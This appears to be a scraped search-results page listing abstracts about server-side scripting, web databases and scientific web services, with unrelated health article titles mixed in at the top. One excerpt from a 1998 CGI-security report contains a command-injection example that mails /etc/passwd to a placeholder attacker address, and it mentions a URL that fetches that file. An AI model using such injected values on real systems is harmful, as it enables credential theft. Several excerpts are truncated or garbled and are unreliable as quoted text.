The adoption of Evidence Based Laboratory Medicine (EBLM) has been hampered until today by the lack of effective tools. The SIMeL EBLM e-Thesaurus (on-line Repertoire of the diagnostic effectiveness of the laboratory, radiology and cardiology test) provides a useful support to clinical laboratory professionals and to clinicians for the interpretation of the diagnostic tests. The e-Thesaurus is an application developed using Microsoft Active Server Pages technology and carried out with Web Server Microsoft Internet Information Server and is available at the SIMeL website using a browser running JavaScript scripts (Internet Explorer is recommended). It contains a database (in Italian, English and Spanish) of the sensitivity and specificity (including the 95% confidence interval), the positive and negative likelihood ratios, the Diagnostic Odds Ratio and the Number Needed to Diagnose of more than 2000 diagnostic (most laboratory but also cardiology and radiology) tests. The e-Thesaurus improves the previous SIMeL paper and CD Thesaurus; its main features are a three languages search and a continuous and an easy updating capability.

Shoes and Orthotics for Diabetics

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How to Tape an Ankle

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Emotional Development: 2 Year Olds

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How to "Read" Your Footprint

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Plantar Fibroma and Plantar Fibromatosis

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Muscle Cramp - A Common Pain

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How to Keep Your Feet Flexible

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How to Assess Your Shoe IQ

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Osteopathic Medicine: What is a DO?

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Summer Safety Tips - Staying Safe Outdoors

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Web Helpdesk - PHE

Science.gov Websites

You may be trying to access this site from a secured browser on the server. Please enable scripts supports this element, such as Internet Explorer 7.0 or later. Home | Contact Us | Accessibility | Privacy

Standard Port-Visit Cost Forecasting Model for U.S. Navy Husbanding Contracts

DTIC Science & Technology

2009-12-01

Protocol (HTTP) server.35 2. MySQL . An open-source database.36 3. PHP . A common scripting language used for Web development.37 E. IMPLEMENTATION OF...Inc. (2009). MySQL Community Server (Version 5.1) [Software]. Available from http://dev.mysql.com/downloads/ 37 The PHP Group (2009). PHP (Version...Logistics Services MySQL My Structured Query Language NAVSUP Navy Supply Systems Command NC Non-Contract Items NPS Naval Postgraduate

Selection of Server-Side Technologies for an E-Business Curriculum

ERIC Educational Resources Information Center

Sandvig, J. Christopher

2007-01-01

The rapid growth of e-business and e-commerce has made server-side programming an increasingly important topic in information systems (IS) and computer science (CS) curricula. This article presents an overview of the major features of several popular server-side programming technologies and discusses the factors that influence the selection of…

Inquiry Response Security Issues with CGI Scripting and JAVA Implementations

DTIC Science & Technology

1998-03-26

that looks like this? nobody@nowhere.com;mail badguys@hell.orgc/etc/ passwd ; Now the open0 statement will evaluate the following command: /usr/lib...sendmail nobody@nowhere.com; mail badguys@hell.orgdetc/ passwd Unintentionally, open0 has mailed the contents of the system password file to the remote...functions outside of the script. For example, the following URL requests a copy of /etc/ passwd from the server machine: http://www.odci.gov/cgi-bin

How to Strengthen Your Ankle After a Sprain

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Sore Throat? Know When To Call the Doctor

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How to Stretch Your Ankle After a Sprain

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Understanding Motherhood and Mood - Baby Blues and Beyond

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How to Assess Changes in Feet: Normal or Abnormal

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Design and Delivery of Multiple Server-Side Computer Languages Course

ERIC Educational Resources Information Center

Wang, Shouhong; Wang, Hai

2011-01-01

Given the emergence of service-oriented architecture, IS students need to be knowledgeable of multiple server-side computer programming languages to be able to meet the needs of the job market. This paper outlines the pedagogy of an innovative course of multiple server-side computer languages for the undergraduate IS majors. The paper discusses…

Initial Evaluation: What Kind of Shape Are Your Feet In?

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Tools for the Conceptual Design and Engineering Analysis of Micro Air Vehicles

DTIC Science & Technology

2009-03-01

problem with two DC motors with propellers, mounted on each wing tip and oriented such that the thrust vectors had an angular separation of 180...ElectriCalc or MotoCalc Database • Script Program (MC) In determination of the components to be integrated into MC, the R/C world was explored since the tools...Excel, ProE, QuickWrap and Script . Importing outside applications can be achieved by direct interaction with MC or through analysis server connections [11

[Study of efficiancy of teleconsultation: the Telepathology Consultation Service of the Professional Assoziation of German Pathologists for the screening program of breast carcinoma].

PubMed

Schrader, T; Hufnagl, P; Schlake, W; Dietel, M

2005-01-01

In the autumn a German screening program was started for detecting breast cancer in the population of women fifty and above. For the first time in this program, quality assurance rules were established: All statements of the radiologists and pathologists have to be confirmed by a second opinion. This improvement in quality is combined with a delay in time and additional expence. A new Telepathology Consultation Service was developed based on the experiences of the Telepathology Consultation Center of the UICC to speed up the second opinion process. The complete web-based service is operated under MS Windows 2003 Server, as web server the Internet Information Server, and the SQL-Server (both Microsoft) as the database. The websites, forms and control mechanism have been coded in by ASP scripts and JavaScript. A study to evaluate the effectiveness of telepathological consultation in comparison to conventional consultation has been carried out. Pathologists of the Professional Association of German Pathologists took part as well as requesting pathologists and as consultants for other participants. The quality of telepathological diagnosis was comparable to the conventional diagnosis. Telepathology allows a faster respond of 1 to 2 day (conventional postal delay). The time to prepare a telepathology request is about twice as conventional. This ratio may be inverted by an interface between the Pathology Information System and the Telepathology Server and the use of virtual microscopy. The Telepathology Consultation Service of the Professional Association of German Pathologists is a fast and effective German-language, internet-based service for obtaining a second opinion.

A Web-Based Information System for Field Data Management

NASA Astrophysics Data System (ADS)

Weng, Y. H.; Sun, F. S.

2014-12-01

A web-based field data management system has been designed and developed to allow field geologists to store, organize, manage, and share field data online. System requirements were analyzed and clearly defined first regarding what data are to be stored, who the potential users are, and what system functions are needed in order to deliver the right data in the right way to the right user. A 3-tiered architecture was adopted to create this secure, scalable system that consists of a web browser at the front end while a database at the back end and a functional logic server in the middle. Specifically, HTML, CSS, and JavaScript were used to implement the user interface in the front-end tier, the Apache web server runs PHP scripts, and MySQL to server is used for the back-end database. The system accepts various types of field information, including image, audio, video, numeric, and text. It allows users to select data and populate them on either Google Earth or Google Maps for the examination of the spatial relations. It also makes the sharing of field data easy by converting them into XML format that is both human-readable and machine-readable, and thus ready for reuse.

Web-Based Distributed Simulation of Aeronautical Propulsion System

NASA Technical Reports Server (NTRS)

Zheng, Desheng; Follen, Gregory J.; Pavlik, William R.; Kim, Chan M.; Liu, Xianyou; Blaser, Tammy M.; Lopez, Isaac

2001-01-01

An application was developed to allow users to run and view the Numerical Propulsion System Simulation (NPSS) engine simulations from web browsers. Simulations were performed on multiple INFORMATION POWER GRID (IPG) test beds. The Common Object Request Broker Architecture (CORBA) was used for brokering data exchange among machines and IPG/Globus for job scheduling and remote process invocation. Web server scripting was performed by JavaServer Pages (JSP). This application has proven to be an effective and efficient way to couple heterogeneous distributed components.

STAR: an integrated solution to management and visualization of sequencing data.

PubMed

Wang, Tao; Liu, Jie; Shen, Li; Tonti-Filippini, Julian; Zhu, Yun; Jia, Haiyang; Lister, Ryan; Whitaker, John W; Ecker, Joseph R; Millar, A Harvey; Ren, Bing; Wang, Wei

2013-12-15

Easily visualization of complex data features is a necessary step to conduct studies on next-generation sequencing (NGS) data. We developed STAR, an integrated web application that enables online management, visualization and track-based analysis of NGS data. STAR is a multilayer web service system. On the client side, STAR leverages JavaScript, HTML5 Canvas and asynchronous communications to deliver a smoothly scrolling desktop-like graphical user interface with a suite of in-browser analysis tools that range from providing simple track configuration controls to sophisticated feature detection within datasets. On the server side, STAR supports private session state retention via an account management system and provides data management modules that enable collection, visualization and analysis of third-party sequencing data from the public domain with over thousands of tracks hosted to date. Overall, STAR represents a next-generation data exploration solution to match the requirements of NGS data, enabling both intuitive visualization and dynamic analysis of data. STAR browser system is freely available on the web at http://wanglab.ucsd.edu/star/browser and https://github.com/angell1117/STAR-genome-browser.

The D3 Middleware Architecture

NASA Technical Reports Server (NTRS)

Walton, Joan; Filman, Robert E.; Korsmeyer, David J.; Lee, Diana D.; Mak, Ron; Patel, Tarang

2002-01-01

DARWIN is a NASA developed, Internet-based system for enabling aerospace researchers to securely and remotely access and collaborate on the analysis of aerospace vehicle design data, primarily the results of wind-tunnel testing and numeric (e.g., computational fluid-dynamics) model executions. DARWIN captures, stores and indexes data; manages derived knowledge (such as visualizations across multiple datasets); and provides an environment for designers to collaborate in the analysis of test results. DARWIN is an interesting application because it supports high-volumes of data. integrates multiple modalities of data display (e.g., images and data visualizations), and provides non-trivial access control mechanisms. DARWIN enables collaboration by allowing not only sharing visualizations of data, but also commentary about and views of data. Here we provide an overview of the architecture of D3, the third generation of DARWIN. Earlier versions of DARWIN were characterized by browser-based interfaces and a hodge-podge of server technologies: CGI scripts, applets, PERL, and so forth. But browsers proved difficult to control, and a proliferation of computational mechanisms proved inefficient and difficult to maintain. D3 substitutes a pure-Java approach for that medley: A Java client communicates (though RMI over HTTPS) with a Java-based application server. Code on the server accesses information from JDBC databases, distributed LDAP security services, and a collaborative information system. D3 is a three tier-architecture, but unlike 'E-commerce' applications, the data usage pattern suggests different strategies than traditional Enterprise Java Beans - we need to move volumes of related data together, considerable processing happens on the client, and the 'business logic' on the server-side is primarily data integration and collaboration. With D3, we are extending DARWIN to handle other data domains and to be a distributed system, where a single login allows a user transparent access to test results from multiple servers and authority domains.

PREDICT: Privacy and Security Enhancing Dynamic Information Monitoring

DTIC Science & Technology

2015-08-03

consisting of global server-side probabilistic assignment by an untrusted server using cloaked locations, followed by feedback-loop guided local...12], consisting of global server-side probabilistic assignment by an untrusted server using cloaked locations, followed by feedback-loop guided...these methods achieve high sensing coverage with low cost using cloaked locations [3]. In follow-on work, the issue of mobility is addressed. Task

Secure web-based access to radiology: forms and databases for fast queries

NASA Astrophysics Data System (ADS)

McColl, Roderick W.; Lane, Thomas J.

2002-05-01

Currently, Web-based access to mini-PACS or similar databases commonly utilizes either JavaScript, Java applets or ActiveX controls. Many sites do not permit applets or controls or other binary objects for fear of viruses or worms sent by malicious users. In addition, the typical CGI query mechanism requires several parameters to be sent with the http GET/POST request, which may identify the patient in some way; this in unacceptable for privacy protection. Also unacceptable are pages produced by server-side scripts which can be cached by the browser, since these may also contain sensitive information. We propose a simple mechanism for access to patient information, including images, which guarantees security of information, makes it impossible to bookmark the page, or to return to the page after some defined length of time. In addition, this mechanism is simple, therefore permitting rapid access without the need to initially download an interface such as an applet or control. In addition to image display, the design of the site allows the user to view and save movies of multi-phasic data, or to construct multi-frame datasets from entire series. These capabilities make the site attractive for research purposes such as teaching file preparation.

The Research Libraries Group: Making a Difference.

ERIC Educational Resources Information Center

Michalko, James; Haeger, John

1994-01-01

This overview of the Research Libraries Group (RLG) discusses historical background, collaboration, new needs and expectations, the Research Libraries Information Network (RLIN), the CitaDel service, the ARIEL service, the Eureka service, the Zephyr server, and JACKPHY-Plus Script Development, and preservation. (JLB)

Cytoscape.js: a graph theory library for visualisation and analysis.

PubMed

Franz, Max; Lopes, Christian T; Huck, Gerardo; Dong, Yue; Sumer, Onur; Bader, Gary D

2016-01-15

Cytoscape.js is an open-source JavaScript-based graph library. Its most common use case is as a visualization software component, so it can be used to render interactive graphs in a web browser. It also can be used in a headless manner, useful for graph operations on a server, such as Node.js. Cytoscape.js is implemented in JavaScript. Documentation, downloads and source code are available at http://js.cytoscape.org. gary.bader@utoronto.ca. © The Author 2015. Published by Oxford University Press.

Detection and Prevention of Insider Threats in Database Driven Web Services

NASA Astrophysics Data System (ADS)

Chumash, Tzvi; Yao, Danfeng

In this paper, we take the first step to address the gap between the security needs in outsourced hosting services and the protection provided in the current practice. We consider both insider and outsider attacks in the third-party web hosting scenarios. We present SafeWS, a modular solution that is inserted between server side scripts and databases in order to prevent and detect website hijacking and unauthorized access to stored data. To achieve the required security, SafeWS utilizes a combination of lightweight cryptographic integrity and encryption tools, software engineering techniques, and security data management principles. We also describe our implementation of SafeWS and its evaluation. The performance analysis of our prototype shows the overhead introduced by security verification is small. SafeWS will allow business owners to significantly reduce the security risks and vulnerabilities of outsourcing their sensitive customer data to third-party providers.

A web access script language to support clinical application development.

PubMed

O'Kane, K C; McColligan, E E

1998-02-01

This paper describes the development of a script language to support the implementation of decentralized, clinical information applications on the World Wide Web (Web). The goal of this work is to facilitate construction of low overhead, fully functional clinical information systems that can be accessed anywhere by low cost Web browsers to search, retrieve and analyze stored patient data. The Web provides a model of network access to data bases on a global scale. Although it was originally conceived as a means to exchange scientific documents, Web browsers and servers currently support access to a wide variety of audio, video, graphical and text based data to a rapidly growing community. Access to these services is via inexpensive client software browsers that connect to servers by means of the open architecture of the Internet. In this paper, the design and implementation of a script language that supports the development of low cost, Web-based, distributed clinical information systems for both Inter- and Intra-Net use is presented. The language is based on the Mumps language and, consequently, supports many legacy applications with few modifications. Several enhancements, however, have been made to support modern programming practices and the Web interface. The interpreter for the language also supports standalone program execution on Unix, MS-Windows, OS/2 and other operating systems.

Observing proposals on the Web at the National Optical Astronomy Observatories

NASA Astrophysics Data System (ADS)

Pilachowski, Catherine A.; Barnes, Jeannette; Bell, David J.

1998-07-01

Proposals for telescope time at facilities available through the National Optical Astronomy Observatories can now be prepared and submitted via the WWW. Investigators submit proposal information through a series of HTML forms to the NOAO server, where the information is processed by Perl CGI scripts. PostScript figures and ASCII files may be attached by investigators for inclusion in their proposals using their browser's upload feature. Proposal information is saved on the server so that investigators can return in later sessions to continue work on a proposal and so that collaborators can participate in writing the proposal if they have access to the proposal account name and password. The system provides on-line verification of LATEX syntax and a spellchecker, and confirms that all sections of the proposal are filled out. Users can request a LATEX or PostScript copy of their proposal by e-mail, or view the proposal on line. The advantages of the Web-based process for our users are convenience, access to on-line documentation, and the simple interface which avoids direct confrontation with LATEX. From the NOAO point of view, the advantage is the use of standardized formats and syntax, particularly as we begin to receive proposals for the Gemini telescopes and some independent observatories.

PDB_Hydro: incorporating dipolar solvents with variable density in the Poisson-Boltzmann treatment of macromolecule electrostatics.

PubMed

Azuara, Cyril; Lindahl, Erik; Koehl, Patrice; Orland, Henri; Delarue, Marc

2006-07-01

We describe a new way to calculate the electrostatic properties of macromolecules which eliminates the assumption of a constant dielectric value in the solvent region, resulting in a Generalized Poisson-Boltzmann-Langevin equation (GPBLE). We have implemented a web server (http://lorentz.immstr.pasteur.fr/pdb_hydro.php) that both numerically solves this equation and uses the resulting water density profiles to place water molecules at preferred sites of hydration. Surface atoms with high or low hydration preference can be easily displayed using a simple PyMol script, allowing for the tentative prediction of the dimerization interface in homodimeric proteins, or lipid binding regions in membrane proteins. The web site includes options that permit mutations in the sequence as well as reconstruction of missing side chain and/or main chain atoms. These tools are accessible independently from the electrostatics calculation, and can be used for other modeling purposes. We expect this web server to be useful to structural biologists, as the knowledge of solvent density should prove useful to get better fits at low resolution for X-ray diffraction data and to computational biologists, for whom these profiles could improve the calculation of interaction energies in water between ligands and receptors in docking simulations.

Server-Side Includes Made Simple.

ERIC Educational Resources Information Center

Fagan, Jody Condit

2002-01-01

Describes server-side include (SSI) codes which allow Webmasters to insert content into Web pages without programming knowledge. Explains how to enable the codes on a Web server, provides a step-by-step process for implementing them, discusses tags and syntax errors, and includes examples of their use on the Web site for Southern Illinois…

Quality control, analysis and secure sharing of Luminex® immunoassay data using the open source LabKey Server platform

PubMed Central

2013-01-01

Background Immunoassays that employ multiplexed bead arrays produce high information content per sample. Such assays are now frequently used to evaluate humoral responses in clinical trials. Integrated software is needed for the analysis, quality control, and secure sharing of the high volume of data produced by such multiplexed assays. Software that facilitates data exchange and provides flexibility to perform customized analyses (including multiple curve fits and visualizations of assay performance over time) could increase scientists’ capacity to use these immunoassays to evaluate human clinical trials. Results The HIV Vaccine Trials Network and the Statistical Center for HIV/AIDS Research and Prevention collaborated with LabKey Software to enhance the open source LabKey Server platform to facilitate workflows for multiplexed bead assays. This system now supports the management, analysis, quality control, and secure sharing of data from multiplexed immunoassays that leverage Luminex xMAP® technology. These assays may be custom or kit-based. Newly added features enable labs to: (i) import run data from spreadsheets output by Bio-Plex Manager™ software; (ii) customize data processing, curve fits, and algorithms through scripts written in common languages, such as R; (iii) select script-defined calculation options through a graphical user interface; (iv) collect custom metadata for each titration, analyte, run and batch of runs; (v) calculate dose–response curves for titrations; (vi) interpolate unknown concentrations from curves for titrated standards; (vii) flag run data for exclusion from analysis; (viii) track quality control metrics across runs using Levey-Jennings plots; and (ix) automatically flag outliers based on expected values. Existing system features allow researchers to analyze, integrate, visualize, export and securely share their data, as well as to construct custom user interfaces and workflows. Conclusions Unlike other tools tailored for Luminex immunoassays, LabKey Server allows labs to customize their Luminex analyses using scripting while still presenting users with a single, graphical interface for processing and analyzing data. The LabKey Server system also stands out among Luminex tools for enabling smooth, secure transfer of data, quality control information, and analyses between collaborators. LabKey Server and its Luminex features are freely available as open source software at http://www.labkey.com under the Apache 2.0 license. PMID:23631706

Quality control, analysis and secure sharing of Luminex® immunoassay data using the open source LabKey Server platform.

PubMed

Eckels, Josh; Nathe, Cory; Nelson, Elizabeth K; Shoemaker, Sara G; Nostrand, Elizabeth Van; Yates, Nicole L; Ashley, Vicki C; Harris, Linda J; Bollenbeck, Mark; Fong, Youyi; Tomaras, Georgia D; Piehler, Britt

2013-04-30

Immunoassays that employ multiplexed bead arrays produce high information content per sample. Such assays are now frequently used to evaluate humoral responses in clinical trials. Integrated software is needed for the analysis, quality control, and secure sharing of the high volume of data produced by such multiplexed assays. Software that facilitates data exchange and provides flexibility to perform customized analyses (including multiple curve fits and visualizations of assay performance over time) could increase scientists' capacity to use these immunoassays to evaluate human clinical trials. The HIV Vaccine Trials Network and the Statistical Center for HIV/AIDS Research and Prevention collaborated with LabKey Software to enhance the open source LabKey Server platform to facilitate workflows for multiplexed bead assays. This system now supports the management, analysis, quality control, and secure sharing of data from multiplexed immunoassays that leverage Luminex xMAP® technology. These assays may be custom or kit-based. Newly added features enable labs to: (i) import run data from spreadsheets output by Bio-Plex Manager™ software; (ii) customize data processing, curve fits, and algorithms through scripts written in common languages, such as R; (iii) select script-defined calculation options through a graphical user interface; (iv) collect custom metadata for each titration, analyte, run and batch of runs; (v) calculate dose-response curves for titrations; (vi) interpolate unknown concentrations from curves for titrated standards; (vii) flag run data for exclusion from analysis; (viii) track quality control metrics across runs using Levey-Jennings plots; and (ix) automatically flag outliers based on expected values. Existing system features allow researchers to analyze, integrate, visualize, export and securely share their data, as well as to construct custom user interfaces and workflows. Unlike other tools tailored for Luminex immunoassays, LabKey Server allows labs to customize their Luminex analyses using scripting while still presenting users with a single, graphical interface for processing and analyzing data. The LabKey Server system also stands out among Luminex tools for enabling smooth, secure transfer of data, quality control information, and analyses between collaborators. LabKey Server and its Luminex features are freely available as open source software at http://www.labkey.com under the Apache 2.0 license.

Development, Deployment, and Cost Effectiveness of a Self-Administered Stereo Non Mydriatic Automated Retinal Camera (SNARC) Containing Automated Retinal Lesion (ARL) Detection Using Adaptive Optics

DTIC Science & Technology

2010-10-01

Requirements Application Server  BEA Weblogic Express 9.2 or higher  Java v5Apache Struts v2  Hibernate v2  C3PO  SQL*Net client / JDBC Database Server...designed for the desktop o An HTML and JavaScript browser-based front end designed for mobile Smartphones - A Java -based framework utilizing Apache...Technology Requirements The recommended technologies are as follows: Technology Use Requirements Java Application Provides the backend application

DOE Office of Scientific and Technical Information (OSTI.GOV)

Anderson, Mathew; Bowen, Brian; Coles, Dwight

The Middleware Automated Deployment Utilities consists the these three components: MAD: Utility designed to automate the deployment of java applications to multiple java application servers. The product contains a front end web utility and backend deployment scripts. MAR: Web front end to maintain and update the components inside database. MWR-Encrypt: Web utility to convert a text string to an encrypted string that is used by the Oracle Weblogic application server. The encryption is done using the built in functions if the Oracle Weblogic product and is mainly used to create an encrypted version of a database password.

The Live Access Server - A Web-Services Framework for Earth Science Data

NASA Astrophysics Data System (ADS)

Schweitzer, R.; Hankin, S. C.; Callahan, J. S.; O'Brien, K.; Manke, A.; Wang, X. Y.

2005-12-01

The Live Access Server (LAS) is a general purpose Web-server for delivering services related to geo-science data sets. Data providers can use the LAS architecture to build custom Web interfaces to their scientific data. Users and client programs can then access the LAS site to search the provider's on-line data holdings, make plots of data, create sub-sets in a variety of formats, compare data sets and perform analysis on the data. The Live Access server software has continued to evolve by expanding the types of data (in-situ observations and curvilinear grids) it can serve and by taking advantages of advances in software infrastructure both in the earth sciences community (THREDDS, the GrADS Data Server, the Anagram framework and Java netCDF 2.2) and in the Web community (Java Servlet and the Apache Jakarta frameworks). This presentation will explore the continued evolution of the LAS architecture towards a complete Web-services-based framework. Additionally, we will discuss the redesign and modernization of some of the support tools available to LAS installers. Soon after the initial implementation, the LAS architecture was redesigned to separate the components that are responsible for the user interaction (the User Interface Server) from the components that are responsible for interacting with the data and producing the output requested by the user (the Product Server). During this redesign, we changed the implementation of the User Interface Server from CGI and JavaScript to the Java Servlet specification using Apache Jakarta Velocity backed by a database store for holding the user interface widget components. The User Interface server is now quite flexible and highly configurable because we modernized the components used for the implementation. Meanwhile, the implementation of the Product Server has remained a Perl CGI-based system. Clearly, the time has come to modernize this part of the LAS architecture. Before undertaking such a modernization it is important to understand what we hope to gain. Specifically we would like to make it even easier to add new output products into our core system based on the Ferret analysis and visualization package. By carefully factoring the tasks needed to create a product we will be able to create new products simply by adding a description of the product into the configuration and by writing the Ferret script needed to create the product. No code will need to be added to the Product Server to bring the new product on-line. The new architecture should be faster at extracting and processing configuration information needed to address each request. Finally, the new Product Server architecture should make it even easier to pass specialized configuration information to the Product Server to deal with unanticipated special data structures or processing requirements.

mGrid: A load-balanced distributed computing environment for the remote execution of the user-defined Matlab code

PubMed Central

Karpievitch, Yuliya V; Almeida, Jonas S

2006-01-01

Background Matlab, a powerful and productive language that allows for rapid prototyping, modeling and simulation, is widely used in computational biology. Modeling and simulation of large biological systems often require more computational resources then are available on a single computer. Existing distributed computing environments like the Distributed Computing Toolbox, MatlabMPI, Matlab*G and others allow for the remote (and possibly parallel) execution of Matlab commands with varying support for features like an easy-to-use application programming interface, load-balanced utilization of resources, extensibility over the wide area network, and minimal system administration skill requirements. However, all of these environments require some level of access to participating machines to manually distribute the user-defined libraries that the remote call may invoke. Results mGrid augments the usual process distribution seen in other similar distributed systems by adding facilities for user code distribution. mGrid's client-side interface is an easy-to-use native Matlab toolbox that transparently executes user-defined code on remote machines (i.e. the user is unaware that the code is executing somewhere else). Run-time variables are automatically packed and distributed with the user-defined code and automated load-balancing of remote resources enables smooth concurrent execution. mGrid is an open source environment. Apart from the programming language itself, all other components are also open source, freely available tools: light-weight PHP scripts and the Apache web server. Conclusion Transparent, load-balanced distribution of user-defined Matlab toolboxes and rapid prototyping of many simple parallel applications can now be done with a single easy-to-use Matlab command. Because mGrid utilizes only Matlab, light-weight PHP scripts and the Apache web server, installation and configuration are very simple. Moreover, the web-based infrastructure of mGrid allows for it to be easily extensible over the Internet. PMID:16539707

mGrid: a load-balanced distributed computing environment for the remote execution of the user-defined Matlab code.

PubMed

Karpievitch, Yuliya V; Almeida, Jonas S

2006-03-15

Matlab, a powerful and productive language that allows for rapid prototyping, modeling and simulation, is widely used in computational biology. Modeling and simulation of large biological systems often require more computational resources then are available on a single computer. Existing distributed computing environments like the Distributed Computing Toolbox, MatlabMPI, Matlab*G and others allow for the remote (and possibly parallel) execution of Matlab commands with varying support for features like an easy-to-use application programming interface, load-balanced utilization of resources, extensibility over the wide area network, and minimal system administration skill requirements. However, all of these environments require some level of access to participating machines to manually distribute the user-defined libraries that the remote call may invoke. mGrid augments the usual process distribution seen in other similar distributed systems by adding facilities for user code distribution. mGrid's client-side interface is an easy-to-use native Matlab toolbox that transparently executes user-defined code on remote machines (i.e. the user is unaware that the code is executing somewhere else). Run-time variables are automatically packed and distributed with the user-defined code and automated load-balancing of remote resources enables smooth concurrent execution. mGrid is an open source environment. Apart from the programming language itself, all other components are also open source, freely available tools: light-weight PHP scripts and the Apache web server. Transparent, load-balanced distribution of user-defined Matlab toolboxes and rapid prototyping of many simple parallel applications can now be done with a single easy-to-use Matlab command. Because mGrid utilizes only Matlab, light-weight PHP scripts and the Apache web server, installation and configuration are very simple. Moreover, the web-based infrastructure of mGrid allows for it to be easily extensible over the Internet.

Coordinating complex problem-solving among distributed intelligent agents

NASA Technical Reports Server (NTRS)

Adler, Richard M.

1992-01-01

A process-oriented control model is described for distributed problem solving. The model coordinates the transfer and manipulation of information across independent networked applications, both intelligent and conventional. The model was implemented using SOCIAL, a set of object-oriented tools for distributing computing. Complex sequences of distributed tasks are specified in terms of high level scripts. Scripts are executed by SOCIAL objects called Manager Agents, which realize an intelligent coordination model that routes individual tasks to suitable server applications across the network. These tools are illustrated in a prototype distributed system for decision support of ground operations for NASA's Space Shuttle fleet.

--No Title--

Science.gov Websites

You may be trying to access this site from a secured browser on the server. Please enable scripts and utilizing to make their lives easier and access to information literally at their fingertips. To make information readily available, U. S. Fleet Forces developed mobile applications to provide the

Fermilab Science Education Office

Science.gov Websites

on the Education Server about Science Education, but turn on JavaScript to enable all this site's - About - FAQ - Fermilab Friends - Fermilab Home Fermilab Office of Education & Public Outreach @fnal.gov Lederman Science Education Center Fermilab MS 777 Box 500 Batavia, IL 60510 (630) 840-8258 * fax

The Earth Data Analytic Services (EDAS) Framework

NASA Astrophysics Data System (ADS)

Maxwell, T. P.; Duffy, D.

2017-12-01

Faced with unprecedented growth in earth data volume and demand, NASA has developed the Earth Data Analytic Services (EDAS) framework, a high performance big data analytics framework built on Apache Spark. This framework enables scientists to execute data processing workflows combining common analysis operations close to the massive data stores at NASA. The data is accessed in standard (NetCDF, HDF, etc.) formats in a POSIX file system and processed using vetted earth data analysis tools (ESMF, CDAT, NCO, etc.). EDAS utilizes a dynamic caching architecture, a custom distributed array framework, and a streaming parallel in-memory workflow for efficiently processing huge datasets within limited memory spaces with interactive response times. EDAS services are accessed via a WPS API being developed in collaboration with the ESGF Compute Working Team to support server-side analytics for ESGF. The API can be accessed using direct web service calls, a Python script, a Unix-like shell client, or a JavaScript-based web application. New analytic operations can be developed in Python, Java, or Scala (with support for other languages planned). Client packages in Python, Java/Scala, or JavaScript contain everything needed to build and submit EDAS requests. The EDAS architecture brings together the tools, data storage, and high-performance computing required for timely analysis of large-scale data sets, where the data resides, to ultimately produce societal benefits. It is is currently deployed at NASA in support of the Collaborative REAnalysis Technical Environment (CREATE) project, which centralizes numerous global reanalysis datasets onto a single advanced data analytics platform. This service enables decision makers to compare multiple reanalysis datasets and investigate trends, variability, and anomalies in earth system dynamics around the globe.

STAR: an integrated solution to management and visualization of sequencing data

PubMed Central

Wang, Tao; Liu, Jie; Shen, Li; Tonti-Filippini, Julian; Zhu, Yun; Jia, Haiyang; Lister, Ryan; Whitaker, John W.; Ecker, Joseph R.; Millar, A. Harvey; Ren, Bing; Wang, Wei

2013-01-01

Motivation: Easily visualization of complex data features is a necessary step to conduct studies on next-generation sequencing (NGS) data. We developed STAR, an integrated web application that enables online management, visualization and track-based analysis of NGS data. Results: STAR is a multilayer web service system. On the client side, STAR leverages JavaScript, HTML5 Canvas and asynchronous communications to deliver a smoothly scrolling desktop-like graphical user interface with a suite of in-browser analysis tools that range from providing simple track configuration controls to sophisticated feature detection within datasets. On the server side, STAR supports private session state retention via an account management system and provides data management modules that enable collection, visualization and analysis of third-party sequencing data from the public domain with over thousands of tracks hosted to date. Overall, STAR represents a next-generation data exploration solution to match the requirements of NGS data, enabling both intuitive visualization and dynamic analysis of data. Availability and implementation: STAR browser system is freely available on the web at http://wanglab.ucsd.edu/star/browser and https://github.com/angell1117/STAR-genome-browser. Contact: wei-wang@ucsd.edu PMID:24078702

KISS--a new approach to self-controlled e-learning of selected chapters in Medical Engineering and other fields at bachelor and master course level.

PubMed

Hutten, Helmut; Stiegmaier, Wolfgang; Rauchegger, Günter

2005-09-01

Modern life style requires new methods for individual lifelong learning, based on access at every time and from every place. This fundamental requirement is provided by the Internet. The Internet technology promises an increasing potential in the future for e-learning or tele-learning. Some special requirements are password-controlled access, applicability of most commercially available PCs and laptops equipped with standard software (Microsoft Internet Explorer 6.0), central evaluation of the students' performance, inclusion of an examination part, provision of a picture gallery and a comprehensive glossary accessible in the learning mode. The KISS-shell has been developed based on the Oracle 10g application server in combination with a relational data base (Oracle 8i) on the server side and a web browser based interface using JavaScript for user control of data input on the client side (Kontrolliertes Intelligentes Selbstgesteuertes Studium, KISS). The first tutorial application has been realized with a chapter about cardiac pacemakers. The weight of that chapter (or module) is about 2 ECTS (i.e. the equivalent of 30 working hours; European Credit Transfer System, ECTS). The internal structure of the chapter is organized in sequential mode. It consists of five main sections. Each of those five sections is subdivided into five subsections of comparable length. Progression from one subsection to the next is possible only after successfully passing through the respective examination. The whole learning programme with the pacemaker chapter has been evaluated by 10 students. The system will be presented together with first experiences including the evaluation results. Until now the program has not been used for training purposes.

PDBsum: Structural summaries of PDB entries.

PubMed

Laskowski, Roman A; Jabłońska, Jagoda; Pravda, Lukáš; Vařeková, Radka Svobodová; Thornton, Janet M

2018-01-01

PDBsum is a web server providing structural information on the entries in the Protein Data Bank (PDB). The analyses are primarily image-based and include protein secondary structure, protein-ligand and protein-DNA interactions, PROCHECK analyses of structural quality, and many others. The 3D structures can be viewed interactively in RasMol, PyMOL, and a JavaScript viewer called 3Dmol.js. Users can upload their own PDB files and obtain a set of password-protected PDBsum analyses for each. The server is freely accessible to all at: http://www.ebi.ac.uk/pdbsum. © 2017 The Protein Society.

Black Sea GIS developed in MHI

NASA Astrophysics Data System (ADS)

Zhuk, E.; Khaliulin, A.; Zodiatis, G.; Nikolaidis, A.; Isaeva, E.

2016-08-01

The work aims at creating the Black Sea geoinformation system (GIS) and complementing it with a model bank. The software for data access and visualization was developed using client server architecture. A map service based on MapServer and MySQL data management system were chosen for the Black Sea GIS. Php-modules and python-scripts are used to provide data access, processing, and exchange between the client application and the server. According to the basic data types, the module structure of GIS was developed. Each type of data is matched to a module which allows selection and visualization of the data. At present, a GIS complement with a model bank (the models build in to the GIS) and users' models (programs launched on users' PCs but receiving and displaying data via GIS) is developed.

36 CFR 1194.22 - Web-based intranet and internet information and applications.

Code of Federal Regulations, 2012 CFR

2012-07-01

... active region of a server-side image map. (f) Client-side image maps shall be provided instead of server-side image maps except where the regions cannot be defined with an available geometric shape. (g) Row...) Frames shall be titled with text that facilitates frame identification and navigation. (j) Pages shall be...

36 CFR 1194.22 - Web-based intranet and internet information and applications.

Code of Federal Regulations, 2014 CFR

2014-07-01

